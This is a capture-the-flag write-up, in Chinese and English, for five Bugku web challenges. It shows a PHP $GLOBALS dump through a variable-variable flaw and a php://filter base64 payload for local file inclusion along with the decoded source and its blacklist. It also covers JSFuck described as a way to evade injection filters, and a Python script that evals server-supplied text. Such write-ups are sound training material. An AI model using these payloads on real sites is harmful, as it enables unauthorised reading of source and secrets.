[Bugku writeup]Web

1. 变量1

http://120.24.86.145:8004/index1.php

• Open link, source code is showed and hint is "flag in the variable!"

flag In the variable! 

• isset():判断变量是否存在。
  preg_match():正则匹配。
  eval(): 可计算某个字符串,并执行其中的的 JavaScript 代码。
  var_dump() :能打印出类型。
  print_r() :只能打出值。
  echo() :是正常输出。
• 注意到，$$args,解析一下，PHP中变量可以当作另一个变量的变量名。那么说，我们可以查看源码里面的变量。
• 结合提示：flag in the variable，我们可以用$GLOBALS来查看所有变量。
  $GLOBALS — 引用全局作用域中可用的全部变量。
• 输入http://120.24.86.145:8004/index1.php?args=GLOBALS,显示如下：

flag In the variable ! 
array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(32) "0bgd7pj75r4gvmjma74erroh0ua548ss" } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" } 

• flag{92853051ab894a64f7865cf3c2128b34}

2. 秋名山老司机

http://120.24.86.145:8002/qiumingshan/

• Open link.

  
  
  
• 计算题，python脚本，此题类似网络安全实验室脚本篇(快速口算)。

def compute(url):
    import re
    import requests
    import time
    start=time.time()
    s=requests.Session()
    r=s.get(url).content
    res=r.decode('utf-8')
    pattern=r'
+(.*)='
    num=re.findall(pattern,res)[0]
    payload={'v':eval(num)}
    post=s.post(url,data=payload)
    ans=post.content.decode('utf-8')
    end=time.time()
    time=end-start
    return ans,num,time

• 但是，此题与快速口算不同的是，没有给出post的name，网页源码如下：

  
  

  
亲请在2s内计算老司机的车速是多少
  
1976156964+1313866980*627121572-1733588986*2074166615+1327767956*734066020+127169629*1700978299+1015248418+326603353=?;
  

• 奇怪的是，有时候调用函数得到不同结果，感觉是网页的数字变化太快，好像不是两秒变一次。

In [170]: ans,num,time=compute('http://120.24.86.145:8002/qiumingshan/')

In [171]: ans
Out[171]: 'Give me value post about 1211158533+581342144-1710423515*1346714744-267781685-719739502*211086284+826861951-1225919698-262780610-1752752575=?'

In [172]: num
Out[172]: '1211158533+581342144-1710423515*1346714744-267781685-719739502*211086284+826861951-1225919698-262780610-1752752575'

In [173]: time
Out[173]: 0.051011085510253906

In [174]: ans,num,time=compute('http://120.24.86.145:8002/qiumingshan/')

In [175]: ans
Out[175]: '\n\n\n\n
亲请在2s内计算老司机的车速是多少
\n
1235015730*984358285+1378424693-937087764*1432282495*1127700450+1591696065+156371415-2055567131*1871454597*1729169476=?;
\n'

In [176]: num
Out[176]: '384279071+131797144+254241588-1540506667+476259693*514423332-789201639-1792315759-388189340-2001673090-655338289'

In [177]: time
Out[177]: 0.05509781837463379

In [178]:

• 依然不知道要怎么post value。。。

3. Web4

hint：看看源代码吧

• Open link

  
  
  
• 源码：

  
    

  
 
看看源代码？

  

  
  
 
   
 在好好看看。

• url解密

var p1 = 'function checkSubmit()
{var a=document.getElementById("password");
if("undefined"!=typeof a)
{if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));

• 看最后一句eval(unescape(p1) + unescape('54aa2' + p2))
• unescape() 函数可对通过 escape() 编码的字符串进行解码

• 可以知道，拼接p1+‘54aa2’+p2=67d709b2b54aa2aa648cf6e87a7114f1，submit。

  
  
  
• KEY{J22JK-HS11}

4. Web5

JSPFUCK??????答案格式CTF{******}
http://120.24.86.145:8002/web5/
字母大写

• hint:jspfuck,可能和jsfuck代码有关。

• 源码：
  

    
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  
   JSPFUCK??????答案格式CTF{******}
   
     
     

• 果然是jsfuck代码，放到控制到运行。出现："ctf{whatfk}"。

• jsfuck转码网站
  在黑客行为中，你的js代码可能被关键词检测，于是考虑躲避关键词检测的想法，例如 eval等关键词。
  用途：

1. 脚本注入时防止过滤。
2. 一定程度加密关键代码（生成代码很长，不适合加密大量代码。只能一定程度上加密，不能依赖）
3. 把包含的字符做到极致，最后只剩下 ()+[]! 这六个字符。
4. 转换后本质依然是javascript，通过javascript的一些性质来生成。

---

5. flag在index里

flag在index里
http://120.24.86.145:8005/post/

• click in,url="http://120.24.86.145:8005/post/index.php?file=show.php"

• 结合hint:flag in index,想到文件包含漏洞。
  定义：在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，导致意外的文件泄露甚至恶意的代码注入。

• 为了读取包含有敏感信息的PHP等源文件，我们就要先将“可能引发冲突的PHP代码”encode一遍，这里就会用到php://filter；然后decode一遍得到source code。

• payload：http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

• Source code:
  PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

• Decode:

    
    
click me? no';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>

• flag{edulcni_elif_lacol_si_siht}